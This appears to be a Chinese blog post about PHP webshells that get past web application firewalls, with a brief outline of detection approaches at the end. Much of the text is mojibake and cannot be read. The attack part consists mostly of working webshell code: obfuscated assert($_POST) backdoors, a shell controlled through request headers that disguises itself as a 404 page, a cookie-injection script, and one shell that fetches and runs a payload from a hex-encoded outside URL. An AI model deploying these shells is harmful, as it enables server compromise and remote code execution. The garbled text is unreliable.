PHP常见过waf webshell以及最简单的检测方法

åè¨

å¦æéè¯¯ï¼è¿è¯·æåºï¼ä¸èææ¿ï¼ :turtle:æ

å¸¸è§ç»è¿WAFçPHP webshell

åç¬¦ä¸²åå½¢

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()ãgzdeflate()ãgzencode()
gzuncompress()ãgzinflate()ãgzdecode()
base64_encode()
base64_decode()
pack()
unpack()

èªåå½æ°

å©ç¨ assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

åè°å½æ°

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()

ç±»

å©ç¨éæ¯æ¹æ³ãææå½æ° __destruct() ï¼ __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

å©ç¨å¤é¨æä»¶

å©ç¨ curl , fsockopen çåèµ·ç½ç»è¯·æ±åç»å file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

æ åç¬¦ç¹å¾é©¬

ç¼ç ãå¼æãèªå¢

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

ç¹æ®è¯·æ±å¤´

å©ç¨ getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

å¨å±åé

å©ç¨ getenv() ï¼ arrag_flip() ï¼ get_defined_vars() ï¼ session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHPæ··æ·å è§£å¯

ä»¥phpjiamiä¸ºä¾

PHP webshellæ£æµæ¹æ³

ç®åææäºè§£çwebshellæ£æµæ¹å¼æï¼

å¨ææ£æµï¼æ²ç®±ï¼
åºäºæµéæ¨¡å¼æ£æµwebshellï¼agent
éåç®æ³+éæå¹éæ£æµwebshellï¼æ¯å¦Dç¾webshellæ¥æ
æ ¹æ®æä»¶å¥åº¦åºåº¦æ¥æ£æµ

å®ä¾å±ç¤º

PHP常见过waf webshell以及最简单的检测方法

ç®åæ£æµæè·¯

æ£æµæè·¯ï¼

âââ __init__.py
âââ conf
â   âââ __init__.py
â   âââ config.py
âââ core
â   âââ __init__.py
â   âââ all_check.py
â   âââ data_mysql.py
â   âââ file_inotify.py
âââ lib
â   âââ __init__.py
â   âââ semantic_analysis_api.py
âââ test
â   âââ __init__.py
â   âââ file_md5_move.py
â   âââ os_check.py
â   âââ random_file_test.py
â   âââ ...
âââ web
â   âââ static
â   â   âââ css
â   â   â   âââ main.css
â   â   âââ images
â   â   â   âââ background.jpg
â   â   âââ js
â   â       âââ upload.js
â   âââ templates
â   â   âââ index.html
â   âââ upload_file.php
â   âââ include_file_to_tmp.php
âââ webshell_check.py

confä¸åå«çæ¯è¯¸å¦ä¸åçéææ£æµè§å

PHP常见过waf webshell以及最简单的检测方法

æ»ç»

PHP常见过waf webshell以及最简单的检测方法

相关推荐